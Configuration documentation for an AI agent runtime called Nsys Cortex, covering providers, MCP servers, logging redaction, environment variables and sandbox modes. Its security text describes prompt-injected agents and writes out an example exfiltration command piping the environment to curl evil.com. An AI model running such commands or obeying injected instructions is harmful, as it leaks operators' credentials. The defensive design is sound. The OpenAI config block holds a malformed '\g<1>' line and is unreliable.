Nsys Cortex

Configuration

Nsys Cortex can be configured via a JSON config file and/or environment variables. Environment variables always take precedence over the config file.

Priority order: environment variables > ~/.nsys-cortex/config.json > hardcoded defaults

Configuration File

On first run, nsys-cortex automatically creates ~/.nsys-cortex/config.json with default settings. Edit this file to set your API keys and customize defaults — no need to export environment variables in every shell session. Prefer the nsys-cortex config command over hand-editing: nsys-cortex config set llm.providers.anthropic.apiKey sk-ant-... (schema-validated, atomic, written 0o600) — see CLI Reference → Config Command.

Auto-Created Default Config

The first time any nsys-cortex command runs (or the API server starts), the following file is created at ~/.nsys-cortex/config.json:

{
  "mode": "dev",
  "port": 3100,
  "logLevel": "debug",
  "llm": {
    "defaultProvider": "anthropic",
    "providers": {
      "anthropic": {
        "apiKey": "",
        "model": "claude-opus-5-5",
        "maxTokens": 8192,
        "temperature": 0,
        "baseUrl": "https://api.anthropic.com"
      },
      "openai": {
        "apiKey": "",
        \g<1>16384,
        "temperature": 0,
        "baseUrl": "https://api.openai.com/v1"
      },
      "gemini": {
        "apiKey": "",
        "model": "gemini-4-argon",
        "maxTokens": 8192,
        "temperature": 0,
        "baseUrl": "https://generativelanguage.googleapis.com/v1beta"
      },
      "grok": {
        "apiKey": "",
        "model": "grok-4.7",
        "maxTokens": 4096,
        "temperature": 0,
        "baseUrl": "https://api.x.ai/v1"
      },
      "mistral": {
        "apiKey": "",
        "model": "mistral-large-latest",
        "maxTokens": 4096,
        "temperature": 0,
        "baseUrl": "https://api.mistral.ai/v1"
      },
      "ollama": {
        "apiKey": "",
        "model": "llama4",
        "maxTokens": 4096,
        "temperature": 0,
        "baseUrl": "http://localhost:11434/v1"
      },
      "vllm": {
        "apiKey": "",
        "model": "Qwen/Qwen3.8-27B",
        "maxTokens": 4096,
        "temperature": 1,
        "baseUrl": "http://localhost:8000/v1"
      },
      "lmstudio": {
        "apiKey": "",
        "model": "qwen/qwen3.8-27b",
        "maxTokens": 4096,
        "temperature": 1,
        "baseUrl": "http://localhost:1234/v1"
      },
      "sglang": {
        "apiKey": "",
        "model": "Qwen/Qwen3.8-27B",
        "maxTokens": 4096,
        "temperature": 1,
        "baseUrl": "http://localhost:30000/v1"
      }
    }
  },
  "sandbox": {
    "resourcesDir": "~/.nsys-cortex/resources",
    "overlayStoreDir": "~/.nsys-cortex/overlays",
    "snapshotStoreDir": "~/.nsys-cortex/snapshots",
    "defaultVcpus": 1,
    "defaultMemMib": 256,
    "docker": { "memMib": 1024, "vcpus": 1, "pidsMax": 512 }
  },
  "agent": {
    "maxTurns": 25,
    "timeoutMs": 600000
  },
  "sessions": {
    "storageDir": "~/.nsys-cortex/sessions",
    "idleTimeoutMs": 14400000,
    "maxAgeMs": 86400000
  },
  "logging": {
    "dir": "~/.nsys-cortex/logs",
    "maxFileSizeMb": 25,
    "retentionDays": 30,
    "fileLogging": true,
    "fileLogLevel": "debug",
    "consoleLogging": true,
    "consoleLogLevel": "warn"
  }
}

Each provider has its own apiKey, model, maxTokens, temperature, baseUrl and contextTokens — the context window the run budgets against, for a self-hosted server whose maximum sequence length is below the model's native window; unset = the model's registered budget or 128K. Fill in the API keys for the providers you use. To switch providers, change defaultProvider — all provider-specific settings (model, tokens, etc.) are automatically applied from the active provider's config. The active provider is the one NSYS_CORTEX_LLM_PROVIDER names when that variable is set (env wins), else defaultProvider. Every provider's baseUrl is exported to its own variable (ANTHROPIC_BASE_URL, OPENAI_BASE_URL, GEMINI_BASE_URL, XAI_BASE_URL, MISTRAL_BASE_URL, and the four local ones), whether or not it is active, so a failover chain's other candidates reach their own endpoints.

An optional llm.failover array (not in the auto-created defaults) defines an ordered fallback chain of provider[:model] entries, e.g. "failover": ["anthropic:claude-opus-5-5", "openai:gpt-6.1-sol"]. When set it takes precedence over defaultProvider — see Agent Runtime → Model Failover Chain.

An optional top-level mcpServers array (also not in the defaults) connects external MCP servers whose tools are loaded into the agent's registry at startup, namespaced mcp__<name>__<tool>:

{
  "mcpServers": [
    { "kind": "stdio", "name": "git", "command": "npx", "args": ["-y", "@modelcontextprotocol/server-git"] },
    { "kind": "http", "name": "fetch", "url": "http://localhost:9090/mcp", "token": "optional-bearer" },
    { "kind": "http", "name": "crm", "url": "https://mcp.example/mcp", "headers": { "x-tenant": "acme" },
      "auth": { "kind": "oauth-client-credentials", "tokenUrl": "https://idp.example/oauth/token", "clientId": "cortex", "clientSecret": "…", "scopes": ["mcp:tools"], "resource": "https://mcp.example/mcp" } }
  ]
}

An http server speaks Streamable HTTP (ADR-016; the earlier HTTP+SSE transport is not supported) and authenticates with a bearer token, fixed headers, or OAuth 2.1 client credentials under auth (kind: "oauth-client-credentials", tokenUrl, clientId, clientSecret, optional scopes and RFC 8707 resource) that the host obtains and refreshes before expiry; token and auth together are refused. clientSecret and token are credentials: config get masks them and the logger redacts them. (#15)

Server names must match [a-zA-Z0-9_-]{1,32} (they become tool-name prefixes). A server that fails to connect is logged and skipped — it costs you its tools, not your session. Only connect servers you trust: their tool descriptions reach the model verbatim (truncated to 1KB as a bound, not a defense) and their tools execute with the agent's privileges. See Agent Toolkit → MCP Integration.

When more than mcpDeferThreshold MCP tools are configured (default 10), they lazy-load behind an mcp_find_tools meta-tool to save context — the model loads only the tools it needs, on demand. Set "mcpDeferThreshold": 100 (or any high value) to always load eagerly, or 0 to always defer.

All fields are optional — you can remove providers you don't need.

Config File Behavior

Data Files

The ~/.nsys-cortex/ directory also stores persistent data files:

Path Description
~/.nsys-cortex/config.json Configuration file (auto-created on first run, mode 0o600 — holds plaintext API keys)
~/.nsys-cortex/resources/ Firecracker resources (vmlinux, rootfs.ext4)
~/.nsys-cortex/overlays/ Neuron overlay filesystems (persistent workspace per neuron)
~/.nsys-cortex/snapshots/ VM snapshots (Firecracker mode)
~/.nsys-cortex/sessions/ Session transcripts and metadata (dirs 0o700, transcript + index files 0o600)
~/.nsys-cortex/logs/ Log files (daily rotation, configurable retention; files 0o600)
~/.nsys-cortex/chat-history/<agentId> Per-neuron readline history for interactive chat (dir 0o700, file 0o600; up to 1000 entries)

Logging

Console and file logging can be independently configured with different log levels. Each output can also be disabled entirely.

The logging config section controls logging behavior:

Field Default Description
consoleLogging true Set to false to disable console output
consoleLogLevel warn Log level for console (stdout/stderr)
fileLogging true Set to false to disable file logging entirely
fileLogLevel debug Log level for file output
dir ~/.nsys-cortex/logs Log file directory
maxFileSizeMb 25 Max size per log file before rotation (MB)
retentionDays 30 Days to keep log files (cleaned up at startup)

Per-target log levels have their own defaults: consoleLogLevel defaults to warn and fileLogLevel defaults to debug. The top-level logLevel field in the config file is applied to NSYS_CORTEX_LOG_LEVEL but does not override per-target defaults — set consoleLogLevel or fileLogLevel explicitly to change them.

Log levels in order: debug, info, warn, error. Messages below the configured level for a given target are suppressed.

Log files use the naming convention nsys-cortex-YYYY-MM-DD-pidNNNN.log and rotate to .log.1, .log.2, etc. when they exceed the size limit. The PID suffix ensures multiple concurrent cortex processes (e.g. CLI + API server) don't interleave their writes.

All log files are created with mode 0o600 (owner-only readable). The logger automatically redacts known credential patterns from messages before writing to disk — API keys (Anthropic sk-ant-…, OpenAI sk-…, xAI xai-…, Google AIza…, GitHub PATs, AWS access keys), Authorization / Bearer headers, PEM-encoded private keys, and any object property whose name matches /token|key|secret|password|authorization|cookie/i are replaced with ***REDACTED***.

File logging is initialized after the config file is loaded. Agent processes running inside neurons do not initialize file logging — their stdout/stderr is captured by the host process.

Environment Variables

All project-specific variables use the NSYS_CORTEX_ prefix to avoid collisions with other tools. Environment variables can also be set via a .env file (see .env.example for defaults).

Variable Default Description
NSYS_CORTEX_MODE auto Sandbox mode: auto (docker when a Docker daemon + the neuron image are present, else dev), dev, docker or firecracker — see Docker mode
NSYS_CORTEX_ALLOW_INSECURE_DEV (unset) Required (1) to start dev mode — see Security below
NSYS_CORTEX_PORT 3100 HTTP API server port
NSYS_CORTEX_API_HOST 127.0.0.1 Bind host for the HTTP API. Non-loopback requires NSYS_CORTEX_API_TOKEN
NSYS_CORTEX_API_TOKEN (unset) Bearer token enforced on all /api/ routes when set
NSYS_CORTEX_API_TOOL_PRESET coding Tool preset for HTTP-API agent loops: coding, readonly, admin, minimal
NSYS_CORTEX_RATE_LIMIT 600 Max requests per window per IP on all /api/ routes (0 disables)
NSYS_CORTEX_RATE_LIMIT_LLM 60 Tighter per-IP budget on /sessions/:id/message + /run (each spends tokens; 0 disables)
NSYS_CORTEX_RATE_LIMIT_WINDOW_MS 900000 Rate-limit window in ms (default 15 min; floored at 1s)
NSYS_CORTEX_RESOURCES_DIR ~/.nsys-cortex/resources Path to vmlinux and rootfs.ext4
NSYS_CORTEX_DOCKER_IMAGE nsys-cortex-neuron:latest Docker mode: neuron image (npm run build:image)
NSYS_CORTEX_DOCKER_NETWORK bridge Docker mode: bridge, none, or a user-defined network. host is refused
NSYS_CORTEX_DOCKER_BIN docker Docker mode: CLI binary used to drive the daemon
NSYS_CORTEX_DOCKER_TMP_MIB 512 Docker mode: size of the tmpfs mounted at /tmp
NSYS_CORTEX_DOCKER_READONLY_ROOT true Docker mode: mount the image read-only (false makes the throwaway layer writable)
NSYS_CORTEX_DOCKER_MEM_MIB 1024 Docker mode: memory cap of the container in MiB (--memory = --memory-swap, swap off)
NSYS_CORTEX_DOCKER_VCPUS 1 Docker mode: --cpus
NSYS_CORTEX_DOCKER_PIDS_MAX 512 Docker mode: --pids-limit
NSYS_CORTEX_DOCKER_TRANSPORT auto Docker mode: the host ↔ agent channel — auto (tcp on Docker Desktop, else unix), unix, tcp; none network needs unix
NSYS_CORTEX_OVERLAY_STORE_DIR ~/.nsys-cortex/overlays Where neuron overlay disks/dirs are stored
NSYS_CORTEX_SNAPSHOT_STORE_DIR ~/.nsys-cortex/snapshots Where VM snapshots are stored
NSYS_CORTEX_DEFAULT_VCPUS 1 Firecracker mode: the guest's vCPUs (never read for a container — NSYS_CORTEX_DOCKER_VCPUS)
NSYS_CORTEX_DEFAULT_MEM_MIB 256 Firecracker mode: the guest's RAM in MiB (never read for a container — NSYS_CORTEX_DOCKER_MEM_MIB)
NSYS_CORTEX_LOG_LEVEL debug Global log level (informational, does not override per-target defaults)
NSYS_CORTEX_CONSOLE_LOGGING true Enable console logging (stdout/stderr)
NSYS_CORTEX_CONSOLE_LOG_LEVEL warn Log level for console output
NSYS_CORTEX_FILE_LOGGING true Enable file logging to ~/.nsys-cortex/logs/
NSYS_CORTEX_FILE_LOG_LEVEL debug Log level for file output
NSYS_CORTEX_CONFIG_DIR ~/.nsys-cortex Directory holding config.json (only the config file; logs, sessions, overlays and sockets have their own settings)
NSYS_CORTEX_LOG_DIR ~/.nsys-cortex/logs Log file directory
NSYS_CORTEX_LOG_MAX_FILE_SIZE_MB 25 Max log file size before rotation (MB)
NSYS_CORTEX_LOG_RETENTION_DAYS 30 Days to keep log files

Agent Runtime Variables

Variable Default Description
NSYS_CORTEX_LLM_PROVIDER anthropic LLM provider: anthropic, openai, gemini, grok, mistral, ollama, vllm, lmstudio, or sglang
NSYS_CORTEX_LLM_FAILOVER — Ordered failover chain, provider[:model] comma-separated (e.g. anthropic:claude-opus-5-5,openai:gpt-6.1-sol). Takes precedence over NSYS_CORTEX_LLM_PROVIDER. Config-file equivalent: llm.failover array
NSYS_CORTEX_MCP_SERVERS — External MCP servers as a JSON array (mirrored from the config-file mcpServers section; env wins). Tools load at startup as mcp__<name>__<tool>
NSYS_CORTEX_APPROVAL_REQUIRE_FOR destructive The effect classes whose tools run only after an explicit approval on the agent loop's gate (comma-separated; config agent.approval.requireFor; ADR-012, #16). Empty = none by class; a tool's requiresApproval policy and elevated at the ask level still ask
NSYS_CORTEX_APPROVAL_TIMEOUT_MS 300000 How long an approval request may wait; no decision in time is a deny (config agent.approval.timeoutMs)
NSYS_CORTEX_MCP_DEFER_THRESHOLD 10 MCP tools above this count lazy-load behind an mcp_find_tools meta-tool (config mcpDeferThreshold). High = always eager; 0 = always defer
NSYS_CORTEX_LLM_MODEL claude-opus-5-5 Default model for agent sessions
NSYS_CORTEX_LLM_MAX_TOKENS 8192 Max output tokens per model call
NSYS_CORTEX_LLM_TEMPERATURE 0 Sampling temperature
NSYS_CORTEX_LLM_CONTEXT_TOKENS — The context window the run budgets against: a self-hosted server's --max-model-len (32768 on a single-A10 Qwen3.8-27B, ~100000 on a two-A10 box at 131K); replaces the model's registered budget or the 128K default; llm.providers.<p>.contextTokens in the config file (#38)
NSYS_CORTEX_LLM_BASE_URL — Override the base URL of the provider selected by NSYS_CORTEX_LLM_PROVIDER / defaultProvider only. Failover candidates and explicitly requested providers ignore it and read their own <PROVIDER>_BASE_URL below
ANTHROPIC_API_KEY — Required for Anthropic provider
OPENAI_API_KEY — Required for OpenAI provider
GEMINI_API_KEY — Required for Gemini provider
XAI_API_KEY — Required for Grok (xAI) provider
MISTRAL_API_KEY — Required for Mistral provider
ANTHROPIC_BASE_URL https://api.anthropic.com Override Anthropic base URL (mirrored from llm.providers.anthropic.baseUrl; env wins)
OPENAI_BASE_URL https://api.openai.com/v1 Override OpenAI base URL (mirrored from llm.providers.openai.baseUrl; env wins)
GEMINI_BASE_URL https://generativelanguage.googleapis.com/v1beta Override Gemini base URL (mirrored from llm.providers.gemini.baseUrl; env wins)
XAI_BASE_URL https://api.x.ai/v1 Override Grok (xAI) base URL (mirrored from llm.providers.grok.baseUrl; env wins)
MISTRAL_BASE_URL https://api.mistral.ai/v1 Override Mistral base URL (mirrored from llm.providers.mistral.baseUrl; env wins)
OLLAMA_BASE_URL http://localhost:11434/v1 Override Ollama base URL
VLLM_BASE_URL http://localhost:8000/v1 Override vLLM base URL
VLLM_API_KEY — Only required if vLLM was started with --api-key (otherwise unused)
LMSTUDIO_BASE_URL http://localhost:1234/v1 Override LM Studio base URL
LMSTUDIO_API_KEY — Only required if LM Studio is behind an auth proxy (otherwise unused)
SGLANG_BASE_URL http://localhost:30000/v1 Override SGLang base URL
SGLANG_API_KEY — Only required if SGLang was started with --api-key (otherwise unused)
NSYS_CORTEX_AGENT_MAX_TURNS 25 Max tool-use turns per run
NSYS_CORTEX_AGENT_TIMEOUT 600000 Run timeout (ms)
NSYS_CORTEX_STRICT_TOOL_INPUT false Strict tool-input validation (config agent.strictToolInput; ADR-011, #17): no scalar coercion — "5" for a number field is rejected and the validator's message goes back to the model. Default coerces (local models stringify numbers)
NSYS_CORTEX_SESSION_STORAGE_DIR ~/.nsys-cortex/sessions Session transcript storage directory
NSYS_CORTEX_SESSION_IDLE_TIMEOUT 14400000 Wall-clock ms after which an active session flips to idle status (default 4h)
NSYS_CORTEX_SESSION_MAX_AGE 86400000 Wall-clock ms after which a session is dropped (callers see it as absent; default 24h)
NSYS_CORTEX_INTEGRATION_LLM (unset) Set to 1 to enable the LLM-gated integration tests (agent-run.test.ts, streaming.test.ts). Requires a provider API key.

Agent-Side Variables

These are set automatically by the sandbox manager when spawning a neuron. They configure the agent process running inside the neuron.

The dev sandbox passes a scrubbed environment to the agent child — process.env is NOT inherited as-is. An allow-list (PATH, HOME, LANG, TZ, TMPDIR, TERM, SHELL, PWD, NODE_ENV, NODE_OPTIONS, NODE_PATH, plus anything prefixed NSYS_CORTEX_) passes through; everything matching credential patterns (*_API_KEY, *_TOKEN, *_SECRET, AWS_*, SSH_*, GH_*, GITHUB_*, etc.) is filtered out. This prevents a prompt-injected agent from running env | curl evil.com and exfiltrating the host operator's credentials.

Variable Default Description
NSYS_CORTEX_AGENT_WORKDIR /home/agent/workspace Working directory for the agent executor. In dev mode, set to the overlay directory path. Controls path validation.
NSYS_CORTEX_VSOCK_PATH (set by sandbox) Unix socket path for host-guest communication (dev mode)
NSYS_CORTEX_TEST_FIRECRACKER — Set to 1 to run Firecracker-specific integration tests (Linux only)

Security

For the full threat model — every security guarantee stated plainly and mapped to the regression test that enforces it — see Security Posture. This section covers the operational knobs.

Dev mode is NOT a security boundary

In dev mode the agent runs as a child process with your user's permissions. A prompt-injection that gets the agent to invoke bash can read or write any file your user can access. To prevent accidental "I didn't realize this was running" exposure, the CLI now refuses to start in dev mode without the NSYS_CORTEX_ALLOW_INSECURE_DEV=1 env var:

When the default mode auto cannot find Docker, the CLI first says why — Docker sandbox unavailable (<reason>) — falling back to dev mode. — and then:

Refusing to start in dev mode.
Dev mode runs the agent with your user permissions and is NOT a security
boundary. A prompt-injected agent can read any file your user can read,
and execute any command your user can execute.

The default mode (auto) uses Docker when it is available: start the Docker daemon and
run "npm run build:image", and the agent runs in a hardened container — no acknowledgement needed.
To proceed in dev mode anyway, set NSYS_CORTEX_ALLOW_INSECURE_DEV=1 to acknowledge the risk.
Alternatives: --mode=docker runs the agent in a hardened container (fails closed without Docker
and "npm run build:image"); --mode=firecracker is the intended MicroVM boundary
(Linux + KVM + root; not yet validated — only run trusted workloads).

(When dev mode was asked for explicitly — --mode=dev, NSYS_CORTEX_MODE=dev or "mode": "dev" in config.json — the middle lines instead say so and point at nsys-cortex config set mode auto.) --help, --version and the config command are exempt: they touch no sandbox, so they neither probe Docker nor need the acknowledgement.

⚠️ Firecracker mode's isolation is implemented but not yet validated on a KVM host (see Security Posture → Firecracker isolation — implemented, pending KVM validation). Until that checklist passes there is no mode verified to safely run untrusted prompts or code. Docker mode is a real but kernel-sharing boundary — the strongest option that runs on a developer machine today.

Docker mode

Docker mode is what the default mode, auto, resolves to whenever docker version answers and the neuron image exists — so with Docker running and the image built, plain nsys-cortex chat my-agent already runs in a container. Set mode to docker to fail closed instead of falling back to dev, or to dev to opt out. Config files created by versions whose default was dev carry mode: "dev" and keep it until nsys-cortex config set mode auto.

NSYS_CORTEX_MODE=docker (or --mode=docker) runs the agent inside a hardened container built from the same image as the Firecracker rootfs. It needs a reachable Docker daemon and the neuron image; the factory refuses to start without either:

npm run build:image                       # builds nsys-cortex-neuron:latest (+ :<version>); node-pty compiles inside the image
NSYS_CORTEX_MODE=docker nsys-cortex chat my-agent

What runs where:

Config-file equivalent of the env vars above:

{
  "mode": "docker",
  "sandbox": {
    "docker": { "image": "nsys-cortex-neuron:latest", "network": "bridge", "transport": "auto", "memMib": 1024, "vcpus": 1, "pidsMax": 512, "tmpMib": 512, "readOnlyRoot": true }
  }
}

sandbox.docker.transport / NSYS_CORTEX_DOCKER_TRANSPORT picks the host ↔ agent channel (ADR-009): unix — a Unix socket in the per-neuron dir, where the daemon shares the host's kernel (Linux Docker Engine); tcp — a loopback TCP port the container publishes on 127.0.0.1 only and the host dials with a per-neuron token file, where the daemon runs in a VM (Docker Desktop); auto (default) picks tcp when docker info reports Docker Desktop. The offline network (none) has no port to publish, so none + tcp is refused. The container's caps are sandbox.docker.memMib / vcpus / pidsMax / tmpMib — NSYS_CORTEX_DOCKER_MEM_MIB (1024), NSYS_CORTEX_DOCKER_VCPUS (1), NSYS_CORTEX_DOCKER_PIDS_MAX (512), NSYS_CORTEX_DOCKER_TMP_MIB (512). The memory default is higher than the MicroVM's 256 MiB because there is no guest kernel to budget for, and npm install inside 256 MiB gets OOM-killed. sandbox.defaultMemMib / NSYS_CORTEX_DEFAULT_MEM_MIB (and defaultVcpus, NSYS_CORTEX_PIDS_MAX) are the Firecracker guest's and are never read for a container: until #27 the Docker branch fell back on them, and since the auto-created config file carries the guest's 256, every container was capped at 256 MiB whatever this page said. An operator who exported NSYS_CORTEX_DEFAULT_MEM_MIB for a container moves to NSYS_CORTEX_DOCKER_MEM_MIB or nsys-cortex config set sandbox.docker.memMib <MiB>. NSYS_CORTEX_DOCKER_NETWORK=none gives an offline agent; the default bridge has no egress filtering (it reaches the LAN and host services bound on 0.0.0.0). Snapshot/restore are not supported — the overlay directory is the persistent state; back it up directly. Dev-mode list shows docker neurons' overlay dirs as stopped and vice versa (they share the overlay store but have different layouts).

CLI tool preset

The interactive chat command defaults to the coding tool preset (read/write/edit/bash). Pass --admin to opt in to the full preset (process_*, apply_patch, elevated, etc.).

nsys-cortex chat my-agent          # safe default
nsys-cortex chat my-agent --admin  # shell access enabled

HTTP API authentication

The HTTP API binds 127.0.0.1 by default. To expose it on the network:

export NSYS_CORTEX_API_HOST=0.0.0.0
export NSYS_CORTEX_API_TOKEN=$(openssl rand -hex 32)
npm run start

All requests under /api/ must include Authorization: Bearer <token>. Without the token, the server refuses to bind a non-loopback host. The token is verified in constant time (SHA-256 + crypto.timingSafeEqual), so it can't be recovered byte-by-byte through response-latency timing.

Rate limiting. All /api/ routes are rate-limited per client IP — 600 requests / 15 min by default (NSYS_CORTEX_RATE_LIMIT), with a tighter 60 / 15 min budget on the two agent-loop routes (/message, /run) since each can spend real LLM tokens (NSYS_CORTEX_RATE_LIMIT_LLM). Over-budget requests get 429 with the standard { error: { code: "RATE_LIMITED", requestId } } envelope and RateLimit-* headers. Set either limit to 0 to disable that tier; adjust the window with NSYS_CORTEX_RATE_LIMIT_WINDOW_MS. Behind a reverse proxy, configure Express trust proxy or every client shares the proxy's IP bucket.

The API server's agent-loop preset defaults to coding. Override via NSYS_CORTEX_API_TOOL_PRESET=admin if you need the full tool set (coding already includes bash; readonly is the shell-free preset).